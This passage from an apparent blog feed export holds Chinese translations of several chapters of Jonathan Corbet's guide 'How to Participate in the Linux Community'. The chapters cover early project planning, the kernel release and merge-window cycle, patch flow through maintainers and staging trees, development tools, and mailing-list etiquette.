href=\"http://www.linuxfoundation.org/content/how-participate-linux-community-0\"\u003eHow to Participate in the Linux Community\u003c/a\u003e》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(\u003ca href=\"mailto:corbet@lwn.net\"\u003ecorbet@lwn.net\u003c/a\u003e)。 下面是该文章第四章节的中译文。\u003c/p\u003e","title":"如何加入Linux内核开发社区(4)"},{"content":"本文翻译自The Linux Foundation的《How to Participate in the Linux Community》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(corbet@lwn.net)。 下面是该文章第三章节的中译文。\n3、早期规划\n当考虑一个Linux内核开发项目时，人们可能很想尽快投入并开始编码。但和任何重要的项目一样，推动项目成功的大量基础工作需要在第一行代码编写之前被精心安排好。一些在早期计划和沟通阶段所花费的时间可能在后期为你节约更多的时间。\n3.1、明确问题\n和任何工程项目一样，一次成功的内核改进都始于对所要解决问题的清晰描述。在某些情况下，这一步很简单：例如，当需要一块特定硬件的驱动程序时。但在其他情况下，人们很可能把真正的问题与提议的解决方法混为一谈，这将带来更多麻烦和困难。\n考虑一个例子：几年前，Linux音频开发者试图找到一种方式使得音频应用在运行时不会因系统过分延迟而导致丢帧或其他人造干扰。在他们给出的解决方案 中，他们打算在Linux Security Module (LSM)框架中挂接一个模块；这个模块可以配置某特定应用是否具有访问实时调度器的权限。他们将实现后的模块发布到linux-kernel邮件列表 中，瞬即就遇到了问题。\n对于这些音频开发者来说，安全模块(security module)足以可以解决他们目前遇到的问题。但对于更广大的内核开发社区而言，这却是一种对LSM框架(该模块不是用来给那些本就不会具有权限的进程 授权的)的误用，同时对系统稳定也是个风险。因此社区开发者们的首选方案是短期内通过rlimit机制访问实时调度，并将减少延迟作为长期工作。\n然而，音频社区不愿放弃他们已经实现的方案，他们不愿接受其他选择。由此导致的分歧让这些开发者不再对整个内核开发过程抱有幻想；其中一个开发者回到audio邮件列表并发表了下面这段话：\n这里的确有很多优秀的Linux内核开发者，但他们往往是一群大声喊叫的傲慢自大的傻瓜。和这些人沟通用户需求简直就是浪费时间。他们都太过聪明，根本听不进去凡人的建议。\n(http://lwn.net/Articles/131776/).\n现实的情况却不是这样的；与一个特定的模块相比，内核开发者们更加关心系统的稳定性、长期维护以及找到问题的正确解决方案。这个故事的寓意是把重点放在问题上，而不是某个特定的方案，并且在实现方案前与开发社区进行充分的讨论。\n因此，当考虑一个内核开发项目时，每个开发者都应该首先得到下面几个问题的答案：\n* 要解决的问题到底是什么？\n* 这个问题究竟影响了哪些用户？这个方案到底解决了哪些用例？\n* 当前在解决这个问题上内核是如何无法达到要求的？\n只有这样，开始考虑可能的方案才是有意义的。\n3.2、早期讨论\n当规划了一个内核开发项目时，在开始实现前保持与社区的充分讨论是十分有意义的。早期沟通可以从许多方面帮你节省时间和省去麻烦：\n* 内核很可能以你未曾听说过的方式解决问题。Linux内核规模巨大，有一些特性和能力并非是显而易见的。另外不是所有的内核能力都有完好的文档的，你很容 易错过一些事情。 笔者就曾经见到过有人提交的一个完整的驱动程序与已有的驱动程序重复了，并且这个新驱动程序的作者之前并不知道这个驱动程序已经有了。那些重新发明已有轮 子的代码不仅仅是浪费，而且它也不会被主线内核接受。\n* 提出的方案无法被主线接受也许有很多因素，最好在编写代码前先弄清楚此类问题。\n* 其他开发者完全有可能已经考虑过这个问题了；也许他们有更好的解决方案，并且可能愿意帮助你实现那个解决方案。\n多年的内核开发社区经验清楚地告诫我们：通过闭门造车设计和开发的内核代码无疑例外都会有这样那样的问题，而这些问题只有在代码被发布到社区后才能被发现。有时，这些问题十分严重，需要几个月或几年努力才能达到内核社区的标准。下面是一些例子：\n* Devicescape网络协议栈只是针对单处理器系统设计和实现的。它无法被合并到主线版本，除非它适合多处理器系统。对这些代码做锁改造非常困难。结果，这份代码(现在称为mac80211)的合并工作推迟了一年多。\n* Reiser4文件系统包含了许多能力，但核心内核开发者认为这些能力本应该在虚拟文件系统层实现。它还包含了一些特性，但如果不将系统暴露给用户导致的 死锁，这些特性就无法轻易实现。后续发现的这些问题 — 以及作者拒绝解决其中一些问题 –导致了Reiser4依旧置身于内核主线之外。\n* AppArmor安全模块使用了内部虚拟文件系统的数据接口，这种方式被认为是不安全和不可靠的。虽然代码已经明显做过返工，但仍然被排除在主线之外。\n在这些例子中，大量痛苦和多余的工作本可以通过早期与其他内核开发者的讨论而被避免。\n3.3、你与谁讨论?\n当开发者决定将他们的项目公开时，接下来的问题将是：我们从哪里开始？答案是找到正确的邮件列表(s)以及正确的维护者。对于邮件列表，最佳的方法就是在 MAINTAINERS文件中寻找一个相关的地方。如果存在一个合适的子系统邮件列表，在那里发布往往比在linux-kernel上发布要更好；你更有 可能碰到具备相关子系统专业知识的开发者以及更能给你提供支持的环境。\n找到维护者可能更为困难些。这次，MAINTAINERS文件依旧可以作为寻找的起点，但该文件的更新不总是那么及时，并且不是所有子系统的维护者都会放 在那里。实际上，在MAINTAINERS文件中所列的维护者目前可能已经不再扮演维护者那个角色了。因此，当不知道应该联系谁时，一个实用的技巧是使用 git查看(尤其是\u0026quot;git log\u0026quot;)谁是当前你所感兴趣的子系统库的积极开发者。看看谁在写补丁，谁在评审那些补丁。这些人将是给新开发项目带来帮助的最佳人选。\n如果以上尝试都失败了，咨询Andrew Morton不失为一个有效的查找特定代码维护者的方法。\n3.4、什么时候发布?\n如果可能的话，在早期阶段发布你的计划是有帮助的。描述一下你的项目解决的问题以及如何进行实现的计划。你能提供的任何信息都可以帮助开发社区在此项目上提供有用的输入。\n在此阶段发生的一个令人沮丧的事情不是怀有敌意的反应，而是少有反应或根本没有反应。这个事情的真实情况是(1)内核开发者都很忙；(2)拥有宏大计划但 几乎没有代码(或甚至是代码展望)的人有太多了，(3)没有人有义务去评审或评论其他人发表的想法。如果一个请求发表建议的mail没有收到几条建议，千 万不要以为没人对你的项目感兴趣。当然，你也不能假定你的想法就没有任何问题。这种情况下最好的做法是继续做下去，并将你做的事情持续通告给社区。\n3.5、获得官方认可\n如果你的工作是在公司环境下完成的–就像大多数Linux内核开发工作那样–显然你在将你公司的计划或代码发布到公共邮件列表之前应该先从适当的管理 者那获得授权。那些没有清楚地在GPL兼容许可证下发布的代码很可能是有问题的；公司的管理和法律人员越快同意发布这个内核开发项目，参与的人员才能更好 的脱离。\n一些读者此刻可能会想到他们的内核开发工作是打算支持一个尚未正式承认存在的产品。在一个公共邮件列表上透露他们雇主的计划可能不是一个可行的方案。在这种情况下，值得考虑保密是否真的必要；实际上，常常并不是真的需要对开发计划进行保密。\n不过，也有一些情况下，公司不能在其开发过程早期透露其开发计划。拥有丰富经验内核开发者的公司可能选择以开环的方式继续进行，前提是假设他们能够避免后 续很多严重的集成问题。对于那些没有专们内核开发经验的公司，常见的最佳选择是雇佣一个外部开发者，让其在不公开协议的约束下去评审开发计划。Linux 基金会运营了一个NDA计划，专门设计用于帮助此类情况；更多的信息参见：http://www.linuxfoundation.org/en/NDA_program\n在不要求公开项目的情况下，这种评审对于避免后期出现的一些严重问题往往是足够的了。\n","permalink":"https://tonybai.com/2012/03/29/how-to-participate-linux-community-section-3/","summary":"\u003cp\u003e本文翻译自The Linux Foundation的《\u003ca href=\"http://www.linuxfoundation.org/content/how-participate-linux-community-0\"\u003eHow to Participate in the Linux Community\u003c/a\u003e》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(\u003ca href=\"mailto:corbet@lwn.net\"\u003ecorbet@lwn.net\u003c/a\u003e)。 下面是该文章第三章节的中译文。\u003c/p\u003e","title":"如何加入Linux内核开发社区(3)"},{"content":"本文翻译自The Linux Foundation的《How to Participate in the Linux Community》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(corbet@lwn.net)。下面是该文章第二章节的中译文。\n2、内核开发过程是如何进行的\n在20世纪90年代初，当时的Linux内核开发是一件非常松散的事情，涉及的用户和开发人员数量也相对较少。但随着每年数以百万计的用户和大约2000 名开发者的参与，内核制订出了许多过程来保证开发工作的顺利平滑地进行。为了成为内核开发过程的一个有效部分，扎实地了解内核开发过程是如何进行的是十分 必要的。\n2.1、整体情况\n内核开发者使用一种松散的基于时间的发布(release)过程，每2到3个月发布一个新内核版本。近期的发布历史记录如下：\n2.6.26 7月13日，2008\n2.6.25 4月16日，2008\n2.6.24 1月24日，2008\n2.6.23 10月9日，2007\n2.6.22 7月8日，2007\n2.6.21 4月25日，2007\n2.6.20 2月7日，2007\n每个2.6.x发布版本都是一个主要的内核发布版，其中包含了新特性、内部API变化以及其他更多内容。一个典型的2.6发布可能包括超过10000个变 更以及几十万行代码的改变。因此2.6是Linux内核开发的前沿；内核采用一种滚动开发的模型，持续不断地将重大变化整合进来。\n关于每个发行版的补丁合并，大家遵循一个相对简单直接的规则。在每轮内核开发周期的开始，我们说\u0026quot;合并窗口\u0026quot;是打开的。那时，那些被认为已经足够稳定(并 且被开发社区接受)的代码会被合入主线内核。在这期间，内核将以接近每天1000个变化(\u0026ldquo;补丁\u0026quot;或\u0026quot;变更\u0026rdquo;)的速度将一个新开发周期的大量改变(以及所 有重大的变化)合入主线内核。\n(顺便说一句，这是值得注意的是合并窗口阶段整合的变化不是凭空而来的；它们早已被收集、测试和提交到阶段树中的。这个过程是如何进行的在后续会有详细介绍)。\n合并窗口持续打开约两周时间。在这段时间的末尾，Linus Torvalds会宣布合并窗口关闭并发布这一轮内核版本开发的第一个\u0026quot;rc\u0026quot;版本(译注：Release Candidate，发布候选版)。例如，对于版本号确定为2.6.26的内核来说，合并窗口关闭后发布的版本将称为2.6.26-rc1。-rc1的发 布是一个信号，预示着合并新特性的阶段已经过去了，开发工作进入了稳定内核版本的阶段。\n在接下来的6到10个星期里，只有那些修正问题的补丁才应该提交到主线中。偶尔也会有某个特别重要的变化被允许提交到主线，但这种情况极其少见；那些尝试 在合并窗口之外提交新特性的开发者往往会收到一个不友好的对待。作为一般规则，如果你的特性错过了合并窗口，那你最好是等待下一个开发周期。(一个不常见 的例外是那些用于之前不支持的硬件的驱动程序；如果它们没有触及到树内代码，那么它们就不可能导致回退(regression)，在任何时候添加都应该是 安全的。)\n随着越来越多的修复进入主线，补丁率将随着时间的推移而下降。Linus大约每周发布一个新的-rc内核版本；在内核被认为足够稳定且最终的2.6.x版本发布之前，一个正常系列的版本号会演进到-rc6和-rc9之间。一旦版本稳定且最终内核版本发布，整个过程又将重新开始。\n例如，下面是2.6.25内核开发周期的运行情况(所有日期均发生在2008年)：\n1月24日 2.6.24稳定版发布\n2月10日 2.6.25-rc1, 合并窗口关闭\n2月15日 2.6.25-rc2\n2月24日 2.6.25-rc3\n3月4日 2.6.25-rc4\n3月9日 2.6.25-rc5\n3月16日 2.6.25-rc6\n3月25日 2.6.25-rc7\n4月1日 2.6.25-rc8\n4月11日 2.6.25-rc9\n4月16日 2.6.25稳定版发布\n开发人员是如何判断何时结束这一轮的开发周期并发布稳定版呢？他们采用的最重要的度量方法是上一个版本的regression列表。Bug虽然是不受欢迎 的，但那些存在于以前版本中的可导致系统崩溃的问题则被认为是更为严重的。因此，那些导致内核回退的补丁将遭受冷遇，并且非常可能在内核稳定化阶段被恢复 到原先状态。\n开发者的目标是在稳定版内核发布之前修正所有已知的regressions。但在现实世界中，要想达成这种完美的目标十分困难；这种规模的项目存在太多的 变数。有某一点导致最终发布推迟就会使问题变得更加糟糕；等待下一个合并窗口的改变将会越来越多，并且会在下一个周期导致更多的regession出现。 因此，大多数2.6.x内核发布时只带有少了的已知regressions，然而，但愿这些regressions都不那么严重。\n一旦稳定版内核发布，其后续的维护工作将交由\u0026quot;稳定版小组(stable team)\u0026ldquo;进行，目前这个小组成员包括Greg Kroah-Hartman和 Chris Wright。稳定版小组会不时地发布稳定版内核的更新版本，版本号采用2.6.x.y这种数字样式。如果想要被纳入更新版本，补丁必须(1)修正一个重 要的bug并且(2)已经被合入下一个内核开发版本的主线中了。我们还以2.6.25为例，其更新版本历史(截至本文撰写时)如下：\n5月1日 2.6.25.1\n5月6日 2.6.25.2\n5月9日 2.6.25.3\n5月15日 2.6.25.4\n6月7日 2.6.25.5\n6月9日 2.6.25.6\n6月16日 2.6.25.7\n6月21日 2.6.25.8\n6月24日 2.6.25.9\n一个已知内核的稳定版本的更新工作大约进行6个月左右；之后，稳定版的维护将由那些交付特定内核版本的发行商单独负责。\n2.2、一个补丁的生命周期\n补丁不会从开发者的键盘直接进入内核主线。相反，开发社区设计了一个稍显复杂的过程(虽然有些非正式)来保证每个补丁都能被评审以确保质量，且每个补丁都 实现了一个对内核主线有吸引力的改变。对于一些较小的修正来说，这个过程执行地很快，但对于较大的且有争议的改变来说，这个过程可能会持续数年。许多开发 人员所遭遇的挫折都是来自于缺乏对这一过程的理解或尝试绕开这一过程。\n为了减少这类挫折，本文会详细说明补丁是如何进入到内核中的。接下来是一段关于这个过程的介绍，方式略有些理想化。更多详细的内容将在稍后的章节中给出。\n通常一个补丁会经历如下几个阶段：\n* 设计。这里将对补丁的真正的需求以及如何满足这些需求进行设计。设计工作常常在社区之外完成，但如果可能的话，最好公开地进行这个设计工作；这可以节省大量后期重设计的时间。\n* 早期评审。补丁被发布到相关的邮件列表，列表中的开发者就此回复评论。如果一切进展顺利，这个过程应该可以找出补丁中的重大问题。\n* 更宽泛的评审。当补丁越来越接近于被主线合并时，它会被一个相关子系统的维护者接受，但这种接受并不保证这个补丁一定会进入主线。这个补丁会出现在这个维 护者的子系统树中并且进入阶段树(前面提到过)中。这个过程会为补丁带来更为广泛的评审，并发现其他人整合这个补丁后出现的任何问题。\n* 合并到主线。最终，一个成功的补丁将会被合并到由Linus Torvalds管理的主线库。这时会有更多评论以及/或问题出现；重要的是开发者应负责应对这些并修复提出的问题。\n* 稳定版发布。此时补丁潜在影响的用户数量变大了，因此，新问题可能再次出现。\n* 长期维护。虽然一个开发者可能在补丁代码合并入内核之后选择忘记代码，但这种行为将在开发社区中留下一个糟糕的印象。合并代码能消除一些维护负担，因为其 他人会修复那些因API变动引发的问题。但如果补丁代码长期内依旧有用，原开发者就应该继续对此代码负责。\n一些内核开发者(或他们的雇佣者)所犯的最大的错误之一就是试图将这个过程裁剪到只剩下\u0026quot;合并代码到主线\u0026quot;这一步。这种做法必将导致每个参与到其中的开发者遭遇挫折。\n2.3、补丁如何进入内核\n这个世上只有一个人拥有将补丁合并入内核主线库的权限，他就是Linus Torvalds。但是，在所有进入2.6.25内核的12000个补丁中，只有250个(约2%)补丁是由Linus自己挑选的。内核经过长期发展，其 规模已经大到了没有哪个单独的开发者可以在没有辅助的情况下独立逐一检查和挑选补丁的地步了。内核开发者通过使用一个助理(lieutenant)系统来 应对内核规模的增长，这个系统建立在一个信任链上。\n内核代码库被逻辑上划分为一组子系统：网络、特殊架构支持、内存管理、视频设备等。大多数子系统都有一个指定的维护者，这个开发者对这个子系统内部代码整 体负责。这些子系统为护着就是他们管理的内核部分的看门人(以一种松散的方式)；通常他们就是接收即将包含到主线内核的补丁的那些人。\n每个子系统维护者都维护一份自己的内核源码树，通常(但不总是)使用git源码管理工具。像git(以及类似的像quilt或mercurial)这样的 工具允许维护者跟踪一个补丁列表，包括作者信息以及其他元数据。在任何特定时间，维护者都能识别出在其库中的哪个补丁在主线库中无法找到。\n当合并窗口打开，最高级的维护者将会请求Linus从他们的库中\u0026quot;拉(pull)\u0026ldquo;出他们精调细选的补丁。如果Linus同意，补丁会向上流入他的代码 库，成为主线内核的一部分。Linus对在\u0026quot;拉\u0026quot;操作中收到的补丁的关注度不同。显然，有时，他看起来相当关切。但通常，Linus信任那些子系统维护者 不会向上合入糟糕补丁的。\n同样，子系统维护者们也可以从其他维护者那里\u0026quot;拉\u0026quot;补丁。例如，网络子系统源码树构造所基于的补丁最初就是在专注于网络设备驱动、无线网络等源码树中积累 的。这种源码库链可以任意长，但很少有超过2或3个环节的。由于链中的每个维护者都相信那些管理低级别源码树的开发者，因此这个过程也被称为\u0026quot;信任链\u0026rdquo;。\n很显然，在这样一个系统中，欲将补丁提交到内核取决于找到正确的维护者。将补丁直接发给Linus通常不是一个正确的做法。\n2.4、阶段树\n子系统源码树链引导补丁流合入内核，但还有一个有趣的问题：如果某人想看看为下一个合并窗口准备的所有补丁，他应该如何做？开发者们对即将到来的其他改变 十分感兴趣，这样可以知道是否有冲突需要考虑；例如，一个改变了某内核函数原型的补丁将会与其他使用了该函数旧原型的补丁发生冲突。评审者与测试者需要在 这些改变进入主线内核之前在一个整合后的内核中使用它们。开发者可以从所有感兴趣的子系统源码树上\u0026quot;拉\u0026quot;改变，不过这可是一项不轻松且很容易出错的工作。\n答案是使用阶段树(staging trees)，从各个子系统树中收集补丁进行测试和评审。其中最古老的一颗阶段树由Andrew Morton维护，被称为\u0026rdquo;-mm\u0026quot;(用于内存管理，它就是这么开始的)。-mm树(译注：现在-mm树已不再开发和维护，替代它的是-next树)集成 的补丁来自于一个长长的子系统树列表；它还集成一些旨在帮助内核调试的补丁。\n除此之外，-mm树还包含了一些重要的补丁集合，这些补丁都是由Andrew直接挑选的。这些补丁可能已经被发布在一个邮件列表中了，或者他们申请成为内 核的一部分，该部分尚没有指定的子系统树。因此，-mm扮演着一种可以最后依靠的子系统树的角色；如果一个欲入内核的补丁没有明确的路径，其很可能最终成 为-mm树的一部分。其他在-mm树中积累的杂项补丁最终要么被转发到一个合适的子系统树中，要么被直接发给Linus。在一个通常的开发周期中，约有 10%的进入到主线的补丁经过-mm树。\n当前的-mm补丁在下面网站的首页总是能被找到(译注：所有内核tree在http://git.kernel.org/下面可以找到)：\nhttp://kernel.org/\n那些想查看当前-mm树状态的开发者可以去获取\u0026quot;-mm of the moment\u0026quot;树，在这里可以找到(译注：网页打不开)：\nhttp://userweb.kernel.org/~akpm/mmotm/\n但使用MMOTM树很可能会遭遇挫折，因为它甚至可能无法编译。\n另外一个阶段树linux-next是最近才创立的，该树由Stephen Rothwell维护。linux-next树是一个快照，该快照是我们在下一个合并窗口关闭后所期望看到的主线版本的样子。当补丁收集完 毕，linux-next树会在linux-kernel和linux-next邮件列表中宣布；你可以从下面地址下载(译注：下面地址无法打开)：\nhttp://www.kernel.org/pub/linux/kernel/people/sfr/linux-next/\n下面地址中搜集了一些有关linux-next树的信息：\nhttp://linux.f-seidel.de/linux-next/pmwiki/\nlinux-next树如何适应内核开发过程依旧在改变。截止本文撰写时，第一个包含linux-next(2.6.26)的完整开发周期接近尾声；到目 前为止，linux-next树已经被证明是一个在合并窗口开启前用于查找和修复集成问题的很有价值的资源。关于linux-next是如何运作并建立 2.6.27合并窗口的等更多信息可参考http://lwn.net/Articles/287155/。\n一些开发者开始建议linux-next应该被用作未来内核开发的目标。linux-next树不倾向于超前主线版本过多，而是更多的代表那个合并了任何 新改变的树。这种想法的不足之处在于linux-next树的反复无常会使它成为一个困难的开发目标。更多有关该主题的内容请参 见：http://lwn.net/Articles/289013/，别离开；大部分涉及linux-next的内容依旧在变化。\n2.5、工具\n从上面内容我们可以看出，内核开发过程严重依赖于将不同方向上补丁聚集成集合的能力。如果没有合适且功能强大的工具，整个事情将无法像现在这样顺利进行下去。至于教授大家如何使用这些工具已经超出本文所涉及的内容范畴了，不过这里仍然可以给予一些提示。\n目前在内核开发社区占据主导地位的源码管理系统是git。Git是自由软件社区开发的多个分布式版本控制系统中的一个。它根据内核开发的需要进行了调优， 以至于它在处理大型源码库以及大量补丁时表现优异。它还以难学难用而闻名，不过随着时间推移，它已经变得更加易用了。某种程度上的熟悉git是对内核开发 者的一个要求；即使这些开发者在日常工作中并不使用git，他们也需要git跟上其他开发者的步伐，了解其他开发者(以及主线版本)所做的工作。\nGit目前几乎包含在所有Linux发行版中。其主页在：\nhttp://git-scm.com/\n这个页面上有文档和教程页面的链接。尤其是，每个开发者都应该了解\u0026quot;Kernel Hacker\u0026rsquo;s Guide to git\u0026quot;，这些内容是专门针对内核开发的：\nhttp://linux.yyz.us/git-howto.html\n在不使用git的内核开发者中，最受欢迎的选择几乎肯定是Mercurial：\nhttp://www.selenic.com/mercurial/\nMercurial具有许多与git相同的特性，不过你会发现它所提供的操作接口更加易用。\n另外一个值得了解的工具是Quilt：\nhttp://savannah.nongnu.org/projects/quilt/\nQuilt是一个补丁管理系统，而不是一个源码管理系统。它不会跟踪那些随着时间推移的历史记录；相反，它以跟踪一个正在演化的代码库的一组特定改变为导 向。一些主要的子系统维护者使用quilt来管理那些即将向上合入的补丁。对于特定种类的树(例如，-mm)的管理，quilt是最佳工具。\n2.6、邮件列表\n大量Linux内核开发工作通过邮件列表完成。如果一个邮件列表都没有加入，很难成为一个社区的全功能(fully-functioning)成员。不过 Linux邮件列表对于开发者来说也是潜在的风险，开发者必须冒着被大量电子邮件掩埋、与Linux邮件列表使用约定相冲突的风险，或二者兼有。\n大多数内核邮件列表运行在vger.kernel.org上；主邮件列表可以在下面页面找到：\nhttp://vger.kernel.org/vger-lists.html\n但在其他地方也运行着一些邮件列表，许多列表运行在lists.redhat.com上(译注：该页面已经无法打开)。\n内核开发的核心邮件列表毫无疑问是linux-kernel。这个列表是一个令人生畏的地方；每天的邮件数量可达500封，充斥着各种噪音，对话里技术性 强，并且参与者不总是那么在意礼貌。不过，这世上没有其他地方是内核开发社区会作为整体一起参与的；那些拒绝加入这个列表的开发者将错过重要信息。\n这里有一些提示可以帮助你在linux-kernel这个列表中生存下去：\n* 将这个列表中的mail放到一个单独的文件夹中，而不是放在你的主收件箱中。大家必须能在一段可接受的时间段里忽略掉这个邮件流。\n* 不要尝试关注每个对话–没有人这么做。对感兴趣的话题(但注意，长期进行的对话很可能偏离了原来的主题，但电子邮件的主题行却没有改变）以及参与者进行过滤很重要。\n* 不要上钩。如果有人试图挑起一次愤怒的回应，忽略它们。\n* 当回复linux-kernel列表邮件时(或在其他邮件列表)，为所有参与者保留抄送列表。如果没有足够充分的理由(例如一个显式请求)，你永远不应该 删除收件人。总是确保你回应的人在抄送列表中。这个约定也使得大家不再需要显式地请求在响应你的邮件中加上你的邮件地址了。\n* 在提问之前搜索邮件列表的归档(以及整个互联网)。一些开发者对那些显然没有做作业的人很不耐烦。\n* 避免上方张贴(即将你的答案放在你所回应的引用文字的上方)。因为这将使得你的回应难于阅读并且给大家留下一个糟糕的印象。\n* 在正确的邮件列表上提问。Linux-Kernel列表可能是一个一般的交汇点，但它却不是一个可以找到所有子系统开发者的最佳地方。\n最后一点–找到正确的邮件列表–是一个新手开发者共同犯错的地方。在linux-kernel上咨询网络相关问题的开发者几乎肯定可以收到一 个礼貌的建议：去netdev列表提问，因为那里才是大多数网络开发者经常提问的地方。还有其他子系统列表，诸如SCSI、video4linux、 IDE、filesystem等。查找邮件列表的最好的地方是与内核代码打包在一起的MAINTAINERS文件。\n2.7、开始内核开发\n有关如何开始内核开发过程的问题十分常见–既有来自个体的，也有来自公司的。而同样常见的是那些导致开发者与社区的初始关系变得更加困难的失误。\n公司常常指望雇佣到知名开发者以启动一个开发组。事实上，这种方法很有效。不过这样做的成本十分昂贵，并且并没有使得有经验的内核开发者池得以扩充。如果 给予一点时间上的投资，完全可能促使内部开发者加快Linux内核开发。花费这些时间能够让一个雇主拥有一批既懂内核又了解公司的开发人员，并且他们也可 以帮助训练其他开发人员。从中期效果来看，这往往是一个更加有利可图的方法。\n个体开发者经常困惑于从何开始，这是可以理解的。开始一个大项目的开发可能让人感觉胆怯；人们起初常常用更小的项目试探。正因为如此，一些开发者机遇创建 一些补丁修正一些拼写错误或一些不重要的代码风格问题。不幸地是，这样的补丁制造了一些噪音，干扰了开发社区的整体开发。因此，开发者们越来越轻视这些补 丁。那些希望将自己介绍给社区的开发者们通过这种方式将无法得到他们期望的那种对待。\nAndrew Morton给那些有抱负的内核开发者以下建议：\n在缺少问题去修正的时候，一般来说我们建议开发者看看当前的regressions列表以及处于open状态的bugs。永远不会缺少待修复的问题；解决这些问题，开发者将获得有关过程方面的经验，同时，建立起同开发社区中其他开发者间的尊重。\n","permalink":"https://tonybai.com/2012/03/28/how-to-participate-linux-community-section-2/","summary":"\u003cp\u003e本文翻译自The Linux Foundation的《\u003ca href=\"http://www.linuxfoundation.org/content/how-participate-linux-community-0\"\u003eHow to Participate in the Linux Community\u003c/a\u003e》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(\u003ca href=\"mailto:corbet@lwn.net\"\u003ecorbet@lwn.net\u003c/a\u003e)。下面是该文章第二章节的中译文。\u003c/p\u003e","title":"如何加入Linux内核开发社区(2)"},{"content":"本文翻译自The Linux Foundation的《How to Participate in the Linux Community》(基于2012-03-21最新版本)，原作者为Jonathan Corbet(corbet@lwn.net)。下面是该文章第一章节的中译文。\n1、内核开发过程指南\n本文旨在帮助那些在参与开发社区(community)工作过程中遭遇些许挫折的开发人员(以及他们的管理者)。对于那些不是十分熟悉Linux 内核开发(或通常所说的自由软件开发)的开发人员，本文将以一种易于理解的方式记录社区是如何进行开发工作的。虽然这里会提及一些技术资料，但更 多是面向过程的讨论，这些内容不需要你对内核编程有较深入的了解。\n1.1、内容大纲\n本文后面章节的内容涵盖了内核开发过程以及开发人员及其雇佣者所遇到的各种挫折。本文还列举了诸多内核代码应该被合并(merge)到官方内核 (主线，mainline)的原因，包括对用户自动可用(automatic availability to users)、社区提供各种形式的支持以及对内核开发演进方向的影响力等。被Linux内核采纳的代码必须使用GPL兼容许可证进行授权。\n章节2介绍了Linux内核的开发过程，内核发布的周期以及合并窗口(merge window)机制。该章节还涵盖了补丁开发、评审以及合并周期等各种不同阶段。关于一些工具和邮件列表的讨论也包含在该章节中。我们鼓励那些想要开始内 核开发的开发者们去跟踪和修正bug，并以此作为最初阶段的练习。\n章节3涵盖了早期阶段的项目规划(early-stage project planning)，并重点强调了开发社区的尽早参与。\n章节4中的内容是有关编码过程的；该章节讨论了其他开发人员在开发过程中所遇到的一些陷阱；涵盖了一些对补丁的要求；并介绍了一些用于帮助保证内 核补丁正确性的工具。\n章节5谈到了发布补丁评审的过程。为了能让开发社区认真对待发布(post)的补丁，开发者必须对补丁内容进行适当的格式化和描述，并且开发者必 须将补丁发到合适的地方。遵循本章节中的建议可以最大化地提高你的补丁被开发社区接受的可能性。\n章节6涵盖了发布补丁后要做的事情；发布补丁那刻离最终完成还差得很远。与评审者的合作是开发过程中的关键环节；这节提供了许多有关如何在这一重 要阶段避免问题的小建议。这里告诫开发者不要想当然的认为当补丁被合并到主线后工作就完成了。\n章节7介绍了一些\u0026quot;高级\u0026quot;主题：使用git管理补丁以及评审其他开发人员发布的补丁。\n章节8以更多的有关内核开发的信息来源作为结束此文。\n1.2、这篇文档是关于什么的\nLinux内核是现有最大的并且是最活跃的自由软件项目之一，它拥有600多万行代码以及超过1000名积极贡献者。自从1991年问世以 来，Linux内核已经逐渐演化成一种最佳的操作系统组件，在袖珍数字音乐播放器、桌面个人计算机、现有的超级计算机以及介于个人计算机与超级计 算机之间的所有类型系统上都有Linux内核在运行。它是一种几乎适合所有情况的稳定的、高效的和可伸缩的解决方案。\n伴随着Linux内核的发展，希望参与内核开发的开发人员和公司的数量也迎来了一个较大的增长。硬件制造商想要确保Linux可以良好地支持他们 的产品，使得这些产品对Linux用户具有吸引力。那些将Linux作为一个组件集成到它们产品中的嵌入式系统供应商想要Linux能够尽可能地 满足和适合接下来的任务。而产品基于Linux的Linux发行版供应商以及其他软件供应商更是对Linux内核的能力、性能以及可靠性有着明确 的兴趣。最终用户也常常希望通过改变Linux来使得Linux更好地满足他们的需要。\nLinux的一个最引入注目的特点就是它对开发者的平易近人；任何具备所需必要的技能的开发者都可以对Linux进行改进，影响Linux的发展 方向。专利产品无法提供这种开放性，这是自由软件开发过程的一个特质。但是，更可能的是，内核要比其他绝大多数自由软件项目更加开放。一个典型的 三个月内核开发周期可能涉及超过来自100多个不同公司的1000多名开发者(或没有受雇佣于任何公司)的开发工作。\n在内核开发社区中工作不是特别难。不过，尽管这样，许多潜在的贡献者在尝试进行内核开发工作时都遇到过困难。内核开发社区逐步形成了自己与众不同 的运营方式，这种方式使得Linux内核在每天成千上万行代码被改变的情况下依旧运行顺畅(并且生产出高质量的产品)。因此Linux内核的开发 过程与专利产品的开发方法有着较大区别也就不足为奇了。\n对新开发者来说，内核的开发过程可能看上去有些奇怪和咄咄逼人，但是其背后却有着充分的理由和丰富的经验作为支撑。那些不理解内核开发社区工作方 式(或者，更糟糕的是试图无视或规避)的开发者必将经历挫折。内核开发社区会帮助那些主动尝试学习内核开发过程的开发者们，而对那些不听从或不在 乎开发过程的开发者，开发社区的耐心也是有限的。\n希望那些读过此篇文章的开发者们都能避免这样的挫折经历。这里虽然有大量资料需要阅读，但用不了多长时间阅读这些资料所付出的努力就会获得回报。 开发社区总是需要那些愿意帮助内核改善的开发者；接下来的内容应该可以帮助你 — 或者那些为你工作的开发者 — 加入到我们的社区。\n1.3、贡献\n本文由Jonathan Corbet，corbet@lwn.net撰写，并根据James Berry、Alex Chiang、Roland Dreier、Randy Dunlap、Jake Edge、Jiri Kosina、Matt Mackall、Amanda McPherson、Andrew Morton和Jochen VoB等人的评论作了改进。\nLinux基金会(Linux Foundation)对这篇文章的撰写提供了支持；特别感谢Amanda McPherson，是她看到了这份努力的价值，并努力使之成为现实。\n1.4、将代码合入主线的重要性\n一些公司和开发者偶尔也想知道为何他们要这么麻烦地去学习如何参与内核开发社区的工作，并且要将代码合并到主线版本内核(主线版本内核由 Linus Torvalds负责维护，并且被Linux发行商作为基础版本使用)中去。就短期来讲，贡献代码可能看似是一种可避免的开销；并且独立保留代码并直接对 用户提供支持看起来也更加容易。但事情的真相是独立保留代码(树外，out of tree)是一种虚假经济(false economy)。\n下面列举一些内核开发过程方面相关的内容，以此说明一下维护离树代码所要付出的代价，其中大部分将在本文后面有更详细的讨论。考虑：\n* 合并到主线内核的代码对所有Linux用户可用。它将自动出现在所有使能它(enable 